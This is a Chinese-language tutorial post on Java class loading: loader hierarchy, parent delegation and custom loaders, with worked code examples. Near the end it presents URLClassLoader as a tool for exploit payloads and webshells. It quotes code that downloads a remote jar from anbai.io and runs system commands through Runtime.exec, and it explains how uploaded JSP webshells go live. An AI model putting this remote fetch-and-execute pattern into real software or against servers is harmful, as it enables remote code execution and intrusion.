參考:
https://www.bilibili.com/video/BV1go4y197cL/
以 java 8 為例
什麼是類載入
Java 是一種混合語言,它既有編譯型語言的特性,又有解釋型語言的特性。編譯特性指所有的 Java 程式碼都必須經過編譯才能執行。解釋型指編譯好的 .class 位元組碼需要經過 JVM 解釋才能執行。.class
檔案中存放著編譯後的 JVM 指令的二進位制資訊。
當程式中用到某個類時,JVM 就會尋找載入對應的 .class 檔案,並在記憶體中建立對應的 Class 物件。這個過程就稱為類載入。
類的載入步驟
理論模型
從一個類的生命週期這個角度來看,一個類(.class) 必須經過載入、連結、初始化三個步驟才能在 JVM 中執行。
當 java 程式需要使用某個類時,JVM 會進行載入、連結、初始化這個類。
載入 Loading
通過類的完全限定名查詢類的位元組碼檔案,將類的 .class
檔案位元組碼資料從不同的資料來源讀取到 JVM 中,並對映成 JVM 認可的資料結構。
這個階段是使用者可以參與的階段,自定義的類載入器就是在這個過程。
連線 Linking
-
驗證:檢查 JVM 載入的位元組資訊是否符合 java 虛擬機器規範。
確保被載入類的正確性,
.class
檔案的位元組流中包含的資訊符合當前虛擬機器要求,不會危害虛擬機器自身安全。 -
準備:這一階段主要是分配記憶體。建立類或介面的靜態變數,並給這些變數賦預設值。
只對 static 變數進行處理。而 final static 修飾的變數在編譯的時候就會分配。
-
例如:
static int num = 5
,此步驟會將 num 賦預設值 0,而 5 的賦值會在初始化階段完成。 -
解析:把類中的符號引用轉換成直接引用。
符號引用就是一組符號來描述目標,而直接引用就是直接指向目標的指標、相對偏移量或一個間接定位到目標的控制程式碼。
初始化 Initialization
執行類初始化的程式碼邏輯。包括執行 static 靜態程式碼塊,給靜態變數賦值。
具體實現
java.lang.ClassLoader
是所有的類載入器的父類,java.lang.ClassLoader
有非常多的子類載入器,比如我們用於載入 jar 包的 java.net.URLClassLoader
,後者通過繼承 java.lang.ClassLoader
類,重寫了findClass
方法從而實現了載入目錄 class 檔案甚至是遠端資原始檔。
三種內建的類載入器
-
Bootstrap ClassLoader
引導類載入器Java 類被
java.lang.ClassLoader
的例項載入,而 後者本身就是一個 java 類,誰載入後者呢?其實就是
bootstrap ClassLoader
,它是最底層的載入器,是 JVM 的一部分,使用 C++ 編寫,故沒有父載入器,也沒有繼承java.lang.ClassLodaer
類,在程式碼中獲取為 null。它主要載入 java 基礎類。位於
JAVA_HOME/jre/lib/rt.jar
以及sun.boot.class.path
系統屬性目錄下的類。出於安全考慮,此載入器只載入 java、javax、sun 開頭的類。
-
Extension ClassLoader
擴充套件類載入器負責載入 java 擴充套件類。位於是
JAVA_HOME/jre/lib/ext
目錄下,以及java.ext.dirs
系統屬性的目錄下的類。sun.misc.Launcher$ExtClassLoader // jdk 9 及之後 jdk.internal.loader.ClassLoaders$PlatformClassLoader
-
App ClassLoader
系統類載入器又稱
System ClassLoader
,主要載入應用層的類。位於CLASS_PATH
目錄下以及系統屬性java.class.path
目錄下的類。它是預設的類載入器,如果類載入時我們不指定類載入器的情況下,預設會使用它來載入類。
sun.misc.Launcher$AppClassLoader // jdk 9 及之後 jdk.internal.loader.ClassLoaders$AppClassLOader
父子關係
AppClassLoader 父載入器為 ExtClassLoader,ExtClassLoader 父載入器為 null 。
很多資料和文章裡說,
ExtClassLoader
的父類載入器是BootStrapClassLoader
,嚴格來說,ExtClassLoader
的父類載入器是 null,只不過在其的loadClass
方法中,當 parent 為 null 時,是交給BootStrap ClassLoader
來處理的。
雙親委派機制
試想幾個問題:
-
有三種類載入器,如何保證一個類載入器已載入的類不會被另一個類載入器重複載入?
勢必在載入某個類之前,都要檢查一下是否已載入過。如果三個內建的類載入器都沒載入,則載入。
-
某些基礎核心類,是可以讓所有的載入器載入嗎?
比如 String 類,如果給它加上後門,放到 classpath 下,是讓 appclassloader 載入嗎?如果是被 appclassloader 載入,那麼它需要做什麼驗證?如何進行驗證?
為了解決上面的問題,java 採取的是雙親委派機制來協調三個類載入器。
每個類載入器對它載入的類都有一個快取。
向上委託查詢,向下委託載入。
-
類的唯一性
可以避免類的重複載入,當父類載入器已經載入了該類時,就沒有必要子 ClassLoader 再載入一次,保證載入的 Class 在記憶體中只有一份。
子載入器可以看見父載入器載入的類。而父載入器沒辦法得知子載入器載入的類。如果 A 類是通過 AppClassLoader 載入,而 B 類通過ExtClassLoader 載入,那麼對於 AppClassLoader 載入的類,它可以看見兩個類。而對於 ExtClassLoader ,它只能看見 B 類。
-
安全性
考慮到安全因素,Java 核心 Api 中定義型別不會被隨意替換,假設通過網路傳遞一個名為 java.lang.Object 的類,通過雙親委派模式傳遞到啟動類載入器,而啟動類載入器在核心 JavaAPI 發現這個名字的類,發現該類已被載入,並不會重新載入網路傳遞過來的 java.lang.Object,而直接返回已載入過的 Object.class,這樣可以防止核心API庫被隨意竄改。
載入步驟及程式碼細節
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException
此函式是類載入的入口函式。resolve 這個引數就是表示需不需要進行 連線階段。
下面是擷取的部分程式碼片段,從這個片段中可以深刻體會雙親委派機制。
Class<?> c = findLoadedClass(name);
在類載入快取中尋找是否已經載入該類。它最終呼叫的是 native 方法。
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
如果父載入器不為空,則讓遞迴讓父載入器去載入此類。
如果父載入器為空,則呼叫 Bootstrap 載入器去載入此類。此處也即為何說 ExtClassLoader 的父載入器為 null,而非 Bootstrap 。
c = findClass(name);
如果查詢完所有父親仍未找到,說明此類並未載入,則呼叫 findClass 方法來尋找並載入此類。我們自定義類載入器,主要重寫的就是 findClass 。
總結
ClassLoader
類有如下核心方法:
loadClass
(載入指定的Java類)findLoadedClass
(查詢JVM已經載入過的類)findClass
(查詢指定的Java類)defineClass
(定義一個Java類)resolveClass
(連結指定的Java類)
理解Java類載入機制並非易事,這裡我們以一個 Java 的 HelloWorld 來學習 ClassLoader
。
ClassLoader
載入 com.example.HelloWorld
類重要流程如下:
ClassLoader
呼叫loadClass
方法載入com.example.HelloWorld
類。- 呼叫
findLoadedClass
方法檢查TestHelloWorld
類是否已經載入,如果 JVM 已載入過該類則直接返回類物件。 - 如果建立當前
ClassLoader
時傳入了父類載入器(new ClassLoader(父類載入器)
)就使用父類載入器載入TestHelloWorld
類,否則使用 JVM 的Bootstrap ClassLoader
載入。 - 如果上一步無法載入
TestHelloWorld
類,那麼呼叫自身的findClass
方法嘗試載入TestHelloWorld
類。 - 如果當前的
ClassLoader
沒有重寫了findClass
方法,那麼直接返回類載入失敗異常。如果當前類重寫了findClass
方法並通過傳入的com.example.HelloWorld
類名找到了對應的類位元組碼,那麼應該呼叫defineClass
方法去JVM中註冊該類。 - 如果呼叫
loadClass
的時候傳入的resolve
引數為 true,那麼還需要呼叫resolveClass
方法連結類,預設為 false。 - 返回一個被 JVM 載入後的
java.lang.Class
類物件。
自定義類載入器
用途
大多數情況下,內建的類載入器夠用了,但是當載入位於磁碟上其它位置,或者位於網路上的類時,或者需要對類做加密等,就需要自定義類載入器。
一些使用場景:通過動態載入不同實現的驅動的 jdbc。以及編織代理可以更改已知的位元組碼。以及類名相同的多版本共存機制。
具體實現
我們通常實現自定義類載入器,主要就是重寫 findClass 方法。
protected Class<?> findClass(String name) throws ClassNotFoundException
從網路或磁碟檔案(.class, jar, 等任意字尾檔案) 上讀取類的位元組碼。然後將獲取的類位元組碼傳給 defineClass 函式來定義一個類。
protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError
它最終呼叫也是 native 方法。
示例程式碼
使用類位元組碼中載入類
@Test
public void test3(){
Double salary = 2000.0;
Double money;
{
byte[] b = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, 32, 10, 0, 7, 0, 21, 10, 0, 22, 0, 23, 6, 63, -15, -103, -103, -103, -103, -103, -102, 10, 0, 22, 0, 24, 7, 0, 25, 7, 0, 26, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 26, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 59, 1, 0, 3, 99, 97, 108, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 6, 115, 97, 108, 97, 114, 121, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 17, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 27, 12, 0, 28, 0, 29, 12, 0, 30, 0, 31, 1, 0, 24, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 83, 97, 108, 97, 114, 121, 67, 97, 108, 101, 114, 49, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 1, 0, 11, 100, 111, 117, 98, 108, 101, 86, 97, 108, 117, 101, 1, 0, 3, 40, 41, 68, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 21, 40, 68, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 68, 111, 117, 98, 108, 101, 59, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 2, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 1, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 64, 0, 4, 0, 2, 0, 0, 0, 12, 43, -74, 0, 2, 20, 0, 3, 107, -72, 0, 5, -80, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 12, 0, 0, 0, 22, 0, 2, 0, 0, 0, 12, 0, 13, 0, 14, 0, 0, 0, 0, 0, 12, 0, 17, 0, 18, 0, 1, 0, 1, 0, 19, 0, 0, 0, 2, 0, 20};
money = calSalary(salary,b);
System.out.println("money: " + money);
}
}
private Double calSalary(Double salary,byte[] bytes) {
Double ret = 0.0;
try {
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class<?> clazz = (Class<?>) method.invoke(this.getClass().getClassLoader(), "ClassLoader.SalaryCaler1", bytes, 0, bytes.length);
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
ret = (Double)cal.invoke(object,salary);
} catch (Exception e) {
e.printStackTrace();
}
return ret;
}
從檔案中讀取類位元組碼載入類
@Test
// 自定義類載入器,從 .myclass 檔案中中載入類。
public void test4(){
// 將其它方法全註釋,並且 ClassLoader.SalaryCaler 檔案更名。
try {
Double salary = 2000.0;
Double money;
SalaryClassLoader classLoader = new SalaryClassLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\underlying\\target\\classes\\");
money = calSalary(salary, classLoader);
System.out.println("money: " + money);
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, SalaryClassLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
return (Double)cal.invoke(object,salary);
}
package ClassLoader;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.security.SecureClassLoader;
public class SalaryClassLoader extends SecureClassLoader {
private String classPath;
public SalaryClassLoader(String classPath) {
this.classPath = classPath;
}
@Override
protected Class<?> findClass(String name)throws ClassNotFoundException {
String filePath = this.classPath + name.replace(".", "/").concat(".myclass");
byte[] b = null;
Class<?> aClass = null;
try (FileInputStream fis = new FileInputStream(new File(filePath))) {
b = IOUtils.toByteArray(fis);
aClass = this.defineClass(name, b, 0, b.length);
} catch (Exception e) {
e.printStackTrace();
}
return aClass;
}
}
從 jar 包中讀取類位元組碼載入類
@Test
//自定義類載入器,從 jar 包中載入 .myclass
public void test5(){
try {
Double salary = 2000.0;
Double money;
SalaryJarLoader classLoader = new SalaryJarLoader("C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
money = calSalary(salary, classLoader);
System.out.println("money: " + money);
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, SalaryJarLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler1");
System.out.println(clazz.getClassLoader());
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
return (Double)cal.invoke(object,salary);
}
package ClassLoader;
import org.apache.commons.io.IOUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.SecureClassLoader;
public class SalaryJarLoader extends SecureClassLoader {
private String jarPath;
public SalaryJarLoader(String jarPath) {
this.jarPath = jarPath;
}
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
Class<?> c = null;
synchronized (getClassLoadingLock(name)){
c = findLoadedClass(name);
if(c == null){
c = this.findClass(name);
// System.out.println(c);
if( c == null){
c = super.loadClass(name,resolve);
}
}
}
return c;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
try {
URL jarUrl = new URL("jar:file:\\"+jarPath+"!/"+name.replace(".","/").concat(".myclass"));
InputStream is = jarUrl.openStream();
byte[] b = IOUtils.toByteArray(is);
ret = this.defineClass(name,b,0,b.length);
} catch (Exception e) {
// e.printStackTrace();
}
return ret;
}
}
打破雙親委派機制
重寫繼承而來的 loadClass 方法。
使其優先從本地載入,本地載入不到再走雙親委派機制。
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
Class<?> c = null;
synchronized (getClassLoadingLock(name)){
c = findLoadedClass(name);
if(c == null){
c = this.findClass(name);
if( c == null){
c = super.loadClass(name,resolve);
}
}
}
return c;
}
其它
URLClassLoader
URLClassLoader
提供了載入遠端資源的能力,在寫漏洞利用的 payload 或者 webshell 的時候我們可以使用它來載入遠端的 jar 來實現遠端的類方法呼叫。
在 java.net 包中,JDK提供了一個易用的類載入器 URLClassLoader,它繼承了 ClassLoader。
public URLClassLoader(URL[] urls)
//指定要載入的類所在的URL地址,父類載入器預設為 AppClassLoader。
public URLClassLoader(URL[] urls, ClassLoader parent)
//指定要載入的類所在的URL地址,並指定父類載入器。
從本地 jar 包中載入類
@Test
// 從 jar 包中載入類
public void test3() {
try {
Double salary = 2000.0;
Double money;
URL jarUrl = new URL("file:C:\\Users\\EA\\Desktop\\important_doc\\java\\build\\ideaprojects\\demos\\out\\artifacts\\SalaryCaler\\SalaryCaler.jar");
try (URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{jarUrl})) {
money = calSalary(salary, urlClassLoader);
System.out.println("money: " + money);
}
} catch (Exception e) {
e.printStackTrace();
}
}
private Double calSalary(Double salary, URLClassLoader classLoader) throws Exception {
Class<?> clazz = classLoader.loadClass("ClassLoader.SalaryCaler");
Object object = clazz.getConstructor().newInstance();
Method cal = clazz.getMethod("cal",Double.class);
return (Double)cal.invoke(object,salary);
}
從網路 jar 包中載入類
package com.anbai.sec.classloader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定義遠端載入的jar路徑
URL url = new URL("https://anbai.io/tools/cmd.jar");
// 建立URLClassLoader物件,並載入遠端jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定義需要執行的系統命令
String cmd = "ls";
// 通過URLClassLoader載入遠端jar包中的CMD類
Class cmdClass = ucl.loadClass("CMD");
// 呼叫CMD類中的exec方法,等價於: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 獲取命令執行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 讀取命令執行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 輸出命令執行結果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
import java.io.IOException;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
jsp webshell
為什麼上傳的 jsp webshell 能立即訪問,按道理來說 jsp 要經過 servlet 容器處理轉化為 servlet 才能執行。而通常開發過程需要主動進行更新資源、或者重新部署、重啟 tomcat 伺服器。
這是因為 tomcat 的 熱載入機制 。而之所以 JSP 具備熱更新的能力,實際上藉助的就是自定義類載入行為,當 Servlet 容器發現 JSP 檔案發生了修改後就會建立一個新的類載入器來替代原類載入器,而被替代後的類載入器所載入的檔案並不會立即釋放,而是需要等待 GC。